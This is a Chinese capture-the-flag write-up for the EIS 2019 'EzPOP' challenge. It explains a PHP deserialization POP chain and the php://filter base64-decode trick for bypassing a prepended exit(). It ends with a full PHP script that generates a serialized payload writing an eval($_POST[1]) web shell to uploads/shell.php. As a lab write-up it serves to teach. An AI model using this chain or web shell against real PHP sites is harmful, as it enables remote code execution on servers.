[EIS 2019]EzPOP

[EIS 2019]EzPOP

考点

  • php://filter/write绕过“死亡exit”

wp

给了源码,返回头看到PHP版本7.3。其实这里不给源码也可以做,用arjun可以探测参数,存在参数src,传入就可以看到源码了。

给了源码,一点一点看。首先定义两个类,然后GET的src参数,上传目录uploads/,最后反序列化data

确定是反序列化,然后找__destruct()作为入口,可以锁定class A,然后$this->autosavefalse,然后不断向上调用

getForStorage()那一大块可以写成一段代码,这段代码意思举个例子解释,比如array("0"=>array("path"=>"a")),处理之后就是array("0"=>"a"),感觉有点多此一举。再json_encode一下,变成一个字符串。在getForStorage()后执行的是 $this->store->set(),由此跳转到class B

    function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
  $cache = array("0"=>array("path"=>"a"));
  $cleaned = cleanContents($cache);
  var_dump(json_encode([$cleaned, "2"]));

到这可以先写一下A类的序列化

class A{
    protected $store;
    protected $key;
    protected $expire;
    
    public function __construct($store){
      $this->key = 'tmp1';
      $this->expire= 'tmp2';
      $this->store= $store;
    }
}
$b = new B();
$a = new A($b);
$a->cache = array("tmp3");
$a->complete = "tmp4";

然后看class B的set函数,接收的三个参数分别是$name$value$expire,分别与$a->keyjson_encode([$a->cache, "2"])$a->expire相关联。然后把$expire转化为整型,用$this->options['prefix']拼接$name,处理$filename,这里感觉也没啥用,对$filename$expire处不处理并没有多大影响,更像是从哪个项目里复制出来的。

然后看一下$value的处理,它的值应该是类似于这种[[{"path":"a"}],2],或者是这种[["a"],2],把它作为参数传给$this->serialize(),在这个函数里面可以执行任意函数,但是没有函数的参数是像$value那种,所以这里最好是保持空过,$serialize就可以是trim或者strval之类的函数

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }

接着往后看,这里的if是是否进行数据压缩,$this->options['data_compress']置为false,跳过这一步。sprintf('%012d', $expire)是把$expire左补齐12位,如果$expire是11,那么这个结果就是000000000011。再看这两行行,就是典型的php://filter的妙用,绕过“死亡exit”。$data为要写入的shell,$filenamephp://filter/write=convert.base64-decode/resource=shell.php

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return true;
        }
        return false;

$data = 那一行中,可以被base64识别的是php000000000011exit这19个字符,要在shell中补字符直到总长度符合base64解码规范

class A{
    protected $store;
    protected $key;
    protected $expire;
    
    public function __construct($store){
      $this->key = 'uploads/shell.php';
      $this->expire= 1;
      $this->store= $store;
    }
}
class B{}
$b = new B();
$b->options['data_compress'] = false;
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['serialize'] = "trim";

$a = new A($b);
/* <?php eval($_POST[1]);?>*/
$a->cache = array("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+");
$a->complete = 2;

如果这样生成代码,得到的value是[["PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"],2],前面是21个字符,中间补3个,后面补3个,最后cache是array("aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+aaa")

完整代码

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    
    public function __construct($store){
      $this->key = 'uploads/shell.php';
      $this->expire= 1;
      $this->store= $store;
    }
}
class B{}
$b = new B();
$b->options['data_compress'] = false;
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['serialize'] = "trim";

$a = new A($b);
/* <?php eval($_POST[1]);?>*/
$a->cache = array("aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+aaa");
$a->complete = 2;

echo urlencode(serialize($a));

小结

  1. [2020 新春红包题]1是它的增强版

最后更新于